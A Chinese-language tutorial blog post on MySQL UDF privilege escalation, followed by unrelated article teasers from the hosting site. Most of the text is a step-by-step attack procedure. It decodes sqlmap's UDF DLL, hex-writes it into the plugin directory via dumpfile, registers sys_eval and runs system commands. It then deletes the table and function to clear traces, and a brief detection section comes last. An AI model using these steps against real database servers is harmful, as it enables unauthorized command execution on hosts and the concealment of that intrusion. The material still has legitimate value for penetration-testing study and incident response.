Mysql-UDF提权

UDF(User Defined Function) 是用户自定义函数,是 MySQL 支持的一种机制,可以通过 C语言写动态链接库(.so / .dll),然后让 MySQL 调用这些函数,调用方式与一般系统自带的函数相同,例如user(),version()等函数。

前置条件

  1. 当前用户已经拿到 MySQL 的权限(通常是 root)
  2. MySQL 进程运行权限较高(如 root
  3. 文件写入权限plugin_dir 目录)
  4. 可以使用 CREATE FUNCTION 创建函数(有 CREATE 权限)

UDF 利用思路:

  1. 编写一个恶意的 C 语言动态库文件(比如 libudf.so
  2. 利用 SQL 将该库文件写入 MySQL 插件目录
  3. 通过 CREATE FUNCTION 注册恶意函数(如 sys_exec
  4. 调用该函数来执行系统命令(比如创建 SUID shell、添加用户等)

版本特性

udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:

  1. Mysql < 5.0

导出路径随意

  1. 5.0 <= Mysql < 5.1

Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

  1. Mysql >= 5.1

Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建

UDF文件位置

  1. sqlmap中:sqlmap\data\udf\mysql
  2. metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

操作步骤

1. 查看可导出文件位置

show variables like '%secure%';

2. 查看当前数据库用户权限

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

3. 确实 mysql 安装位置

select @@basedir as basePath from dual ;

4. 通过主机版本及架构确认 mysql 位数

show variables like '%basedir%';

5. 查看数据库版本,判断udf文件写入位置

select version()

6. 当 mysql 大于 5.1 版本

查看 plugin 目录

  • 存在lib\plugin目录且有webshell时,直接上传udf文件
  • 存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件

首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

然后 16 进制编码 udf 文件

select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';

将16进制编码后的 udf 文件使用 dumpfile 函数写入磁盘(outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作)

然后随便选一个数据库创建一个表并将二进制数据插入到十六进制编码流

(如果在低版本系统环境下(win2003)或部分特殊环境使用mysql命令提示符进行提权操作,由于不同环境下的mysql命令提示符可输入字符最大长度不同(win2003为8191,win10系统为65535),无法使用dumpfile一次性写入全部16进制字符,则需要将udf文件的16进制编码字符先进行切割,再拼接写入到一个表中,最后导出到目标系统

注意:在进行16进制数据切割时,每段字符的长度要为4的倍数,2进制转为16进制使用取四合一法,如果位数不够会在最高位补0,补0后会破坏原始二进制文件的文件结构导致利用失败,这也是很多人此方法复现失败的原因。)

然后导出表中数据到系统磁盘

select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
  • 查看 plugin 目录,不存在 lib\plugin目录但有webshell,可使用webshell创建lib\plugin目录
  • 查看 plugin 目录,不存在 lib\plugin目录也没有webshell,那就没办法了

7. Mysql 小于 5.1 版本时

  • 有 webshell 时,通过 webshell
  • 无 webshell 时,使用 dumpfile 通过 16 进制数据流写入 udf 文件

8. 创建命令执行函数

使用winhex打开udf文件,在最下方可以看到udf文件提供的函数。

sys_eval,执行任意系统命令,并将输出返回。

sys_exec,执行任意系统命令,并将退出码返回(无命令执行结果回显)。

create function sys_eval returns string soname 'udf.dll';

命令执行:

select sys_eval("whoami");

痕迹清除

1、删除表

drop table udf;

2、删除函数

drop function sys_eval;

检测与应急响应思路

  • 查看 mysql.func 表中是否有可疑函数:
SELECT * FROM mysql.func;
  • 检查 plugin 目录是否存在异常 so 文件
ls -l /usr/lib/mysql/plugin/
  • 审查 auditd 日志是否有写入 so 文件的记录

---

Linux 环境下的 udf 提权大概率只存在与靶场环境中,原因:

在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90414.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90414.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车规级CANFD芯片在汽车车身控制方案中的应用解析

摘要&#xff1a;随着汽车电子技术的不断发展&#xff0c;汽车车身控制系统对信息传输的效率、可靠性及抗干扰能力等要求日益提高。车规级CANFD芯片作为一种先进的通信芯片&#xff0c;凭借其高速率、高可靠性以及强大的抗干扰能力&#xff0c;成为汽车车身控制系统中的关键组件…

docker desktop 访问 https://registry-1.docker.io/v2/ 报错问题解决

win11 docker desktop 配置国内镜像加速器 1、win11管理员运行powershell notepad "$env:APPDATA\Docker\config.json"2、配置以下内容保存 {"registry-mirrors": ["https://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn&qu…

LLaMA-Factory微调教程1:LLaMA-Factory安装及使用

文章目录 环境搭建 LLaMA-Factory 安装教程 模型大小选择 环境搭建 Windows系统 RTX 4060 Ti(16G显存) python 3.10 cuda=12.6 cudnn torch== 2.7.1+cu126 torchvision==0.22.1+cu126 torchaudio== 2.7.1+cu126 PS C:\Users\18098> nvidia-smi Tue Jul 22 01:52:19 2025 +…

Oracle数据库索引性能机制深度解析:从数据结构到企业实践的系统性知识体系

一、数据检索的根本问题与索引产生的必然性 1.1、数据检索的本质挑战 在理解Oracle索引的性能优势之前&#xff0c;必须回到数据检索的根本问题。当面对海量数据时&#xff0c;传统的线性搜索&#xff08;Sequential Search&#xff09;面临着不可调和的性能瓶颈。这种瓶颈源于…

c#面向对象程序设计

一、面向对象与面向过程的核心区别&#xff08;概念铺垫&#xff09;代码背景开篇对比了两种编程范式&#xff1a;面向过程&#xff08;PP&#xff09;&#xff1a;按步骤分解问题&#xff08;如 “输入长→输入宽→计算面积”&#xff09;&#xff1b;面向对象&#xff08;OOP…

Kylin V10 4070安装nvidia驱动+CUDA+docker安装

目录 1.系统版本信息 2.安装nvidia驱动 3.CUDA安装 4.docker离线安装 1.系统版本信息 查看一下系统版本&#xff0c;命令为&#xff1a; cat /etc/kylin-release2.安装nvidia驱动 编辑/usr/lib/modprobe.d/dist-blacklist.conf文件 blacklist nvidiafb加#号注释掉 添加…

首家!数巅AskBI通过中国信通院数据分析智能体专项测试

近日&#xff0c;在中国信息通信研究院组织的数据分析智能体&#xff08;Data Agent&#xff09;专项测试中&#xff0c;数巅生成式分析智能体AskBI顺利完成专项测试的全部内容。《数据智能体技术要求》标准及测试简介中国信通院云计算与大数据研究所依托中国通信标准化协会大数…

一些Avalonia与WPF内容的对应关系和不同用法

UIElement、FrameworkElement和ControlWPFAvaloniaUIElementControlFrameworkElementControlControlTemplatedControl在 WPF 中&#xff0c;通过继承 Control 类来创建新的模板控件&#xff0c;而在 Avalonia 中&#xff0c;从 TemplatedControl 继承。在 WPF 中&#xff0c;通…

【REACT18.x】CRA+TS+ANTD5.X封装自定义的hooks复用业务功能

模拟react中的hooks方法&#xff0c;实现自定义的hooks来封装我们需要重复使用的组件&#xff0c;来优化代码。这种hooks也是利用了react的原生hooks来实现我们需要的特定业务&#xff0c;可以返回任何我们需要的值&#xff0c;也可以不返回值&#xff0c;作为一个副作用方法使…

Vue CSR 到 Nuxt 3 SSR 迁移:技术实现与问题解决实录

1. 迁移动机与技术选型1.1 CSR 架构的局限性 基于 Vue 3 和 Vite 构建的客户端渲染 (CSR) 单页应用 (SPA) 提供了良好的开发体验和用户交互流畅性。但是其核心局限在于&#xff1a;搜索引擎优化 (SEO)&#xff1a;初始 HTML 响应仅包含一个根 div 元素&#xff0c;实际内容由 J…

FastGPT + Kymo:解锁企业专属知识库与智能体开发新体验

在信息爆炸的时代&#xff0c;企业如何让知识“活起来”&#xff1f;传统文档库和搜索框早已无法满足需求。FastGPT——基于RAG技术的开源知识库系统&#xff0c;正重新定义企业级知识管理&#xff01; 一、FastGPT是什么&#xff1f; FastGPT是企业构建专属知识库的智能核心…

人形机器人_双足行走动力学:Maxwell模型及在拟合肌腱特性中的应用

一、Maxwell模型及其在拟合肌腱特性中的应用Maxwell模型是经典的粘弹性力学模型之一&#xff0c;由弹簧&#xff08;弹性元件&#xff09;和阻尼器&#xff08;粘性元件&#xff09;串联组成。其在生物力学领域的应用主要聚焦于材料的动态响应&#xff08;如应力松弛和蠕变&…

「iOS」——KVC

源码学习iOS底层学习&#xff1a;KVC 底层原理一、核心 API 与功能特性**常用方法**KVC 设值 底层原理KVC 取值 底层原理自定义KVC设值取值**特性&#xff1a;无隐私访问****原理**四、多元应用场景1. **动态数据处理**&#xff08;1&#xff09;字典转模型&#xff08;2&#…

【Lucene】leafreadercontext逻辑段与segment物理磁盘段的关系

在 Lucene 中&#xff0c;“叶子段”&#xff08;LeafReaderContext&#xff09;和 “segment”&#xff08;物理段&#xff09;在 Lucene 语境下&#xff0c;LeafReaderContext ≈ segment 的运行时只读视图。概念 所在层次 含义 是否一一对应 segment 物理存储层 Lucene 索引…

Python进阶第三方库之Matplotlib

应用Matplotlib的基本功能实现图形显示 应用Matplotlib实现多图显示 应用Matplotlib实现不同画图种类 1、什么是Matplotlib是专门用于开发2D图表(包括3D图表) 以渐进、交互式方式实现数据可视化 2、为什么要学习Matplotlib可视化是在整个数据挖掘的关键辅助工具&#xff0c;可以…

【深度解析】从AWS re_Invent 2025看云原生技术发展趋势

2025 年 6 月 28 日 在科技浪潮持续翻涌的当下&#xff0c;云原生技术已然成为推动企业数字化转型与创新发展的关键力量。而 AWS re:Invent 作为云计算领域一年一度的盛会&#xff0c;向来是展示前沿技术、洞察行业趋势的重要舞台。在今年的 AWS re:Invent 2025 大会上&#xf…

高亮标题里的某个关键字正则表达式

使用v-html渲染&#xff0c;写一个高亮方法<span class"title-name" v-html"highlightKeywords(name, keywords)"></span>这里传入的name带了文件拓展名&#xff0c;所以先把名称从文件名里提取出来// 高亮标题颜色highlightKeywords(name, ke…

视频编解码中colorspace,color_range,color_trc,color_primaries,是做什么用的,是谁来指定的

在视频编解码中&#xff0c;colorspace&#xff08;色彩空间&#xff09;、color_range&#xff08;色域范围&#xff09;、color_trc&#xff08;传输特性&#xff09;、color_primaries&#xff08;原色&#xff09;是一组色彩相关元数据&#xff0c;它们共同决定了视频的颜色…

【QT】 Qt背景介绍与概述

文章目录&#x1f4dd;Qt背景介绍&#x1f320; 什么是Qt&#x1f309;Qt的发展史&#x1f320; Qt⽀持的平台&#x1f309; Qt版本&#x1f309; Qt的优点&#x1f309; Qt的应⽤场景&#x1f320; Qt的成功案例&#x1f320; Qt的发展前景及就业分析&#x1f6a9;总结&#x…

如何将拥有的域名自定义链接到我的世界服务器(Minecraft服务器)

关于Dynadot Dynadot是通过ICANN认证的域名注册商&#xff0c;自2002年成立以来&#xff0c;服务于全球108个国家和地区的客户&#xff0c;为数以万计的客户提供简洁&#xff0c;优惠&#xff0c;安全的域名注册以及管理服务。 Dynadot平台操作教程索引&#xff08;包括域名邮…